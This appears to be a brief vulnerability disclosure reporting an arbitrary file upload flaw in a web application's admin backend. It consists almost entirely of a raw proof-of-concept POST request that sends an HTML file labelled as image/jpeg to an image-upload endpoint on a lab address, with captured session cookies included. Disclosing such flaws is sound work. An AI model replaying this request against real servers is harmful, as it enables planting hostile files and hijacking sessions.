Arbitrary file upload vulnerability exists in the background

[nolan124]

Arbitrary file upload vulnerability exists in the background poc POST /File/UploadImage/ HTTP/1.1 Host: 192.168.3.129:10027 Content-Length: 1429836 Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFJRyrg2oUlfiufyo Origin: http://192.168.3.129:10027 Referer: http://192.168.3.129:10027/Manager/ManagerInfo/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.WE9Ryc20IQg=CfDJ8HxjCh0oOylDk40Utlg0kuUFWVLtvNW_C4pGl8LD435wIbnnMrZdOHOVRm58Tf9ea-RLT8Cp1rFj-RWlZ5XrTw9-pVKvbqtZLLUaL1326gsyfJyfQ4k6KDwnwVkIpwADhj_KGa_UpcDu8IqL7EsVtWw; .AspNetCore.Session=CfDJ8HxjCh0oOylDk40Utlg0kuXb68MZjsW%2FxifhC6RHBoXE9qf6bZAULAztKWrxdQ9IBGV%2FMomSXYW%2BGJr9gVN1G67kZ5ZHUvzZTEMIYQoRouYf9upg6F4i%2BhutGrGde7h3SIdWEXSN5b50ouWrN9AG8MmS%2FGz8y0InZBJWSgEn5O55; .AspNetCore.Cookies=CfDJ8HxjCh0oOylDk40Utlg0kuWVPXl8EVC6uVZOAdz0RoVAXkMVbWm3yvSTMRgE__kafTm8nNVVfoFcnx0fLaz3Yfs5I-3daaSYRwxSUJClBLLJ5Hg0H5YQw8Eo_zmQtpuc86nWfqJ4Udv2mJk2YQyGQFQuPrkMiI1S-Id4bA4t4hTBbmaNZVg-p6G4FWr3G6lGYfxg-5l7rBOtU0N_698TNr_clNuUav8Qvb8ZRb82rMhGTUdaG0yyVeFfekC3681FahsDXO7KRoA_gxnKMpy5WBExujF3WugtEyru2IFCb4tlW5esg05eCpUgibqHxropPq4wYXxcHspGgeU_NWnhwGwLSqZGFH0KUBMdk4iDnHWNDaW9Qqv8q-gFgZQryuuEJg6x7vn4uW1mAlK8bmJoU9OheaYH2jwVjRc3yLgzt6qmW7QQ1z_09ByCic6awL9bjphzCc7TItteqmFgHuiv4_btKsN6nRyCsbE-6fif2oAX9FJeWRInL6S1BjoHW615Tv26-hk4-HR66rycOhdTPMYfUInQleEy6WlPXR9DHomb Connection: close

------WebKitFormBoundaryFJRyrg2oUlfiufyo Content-Disposition: form-data; name="file"; filename="Koala.html" Content-Type: image/jpeg

------WebKitFormBoundaryFJRyrg2oUlfiufyo--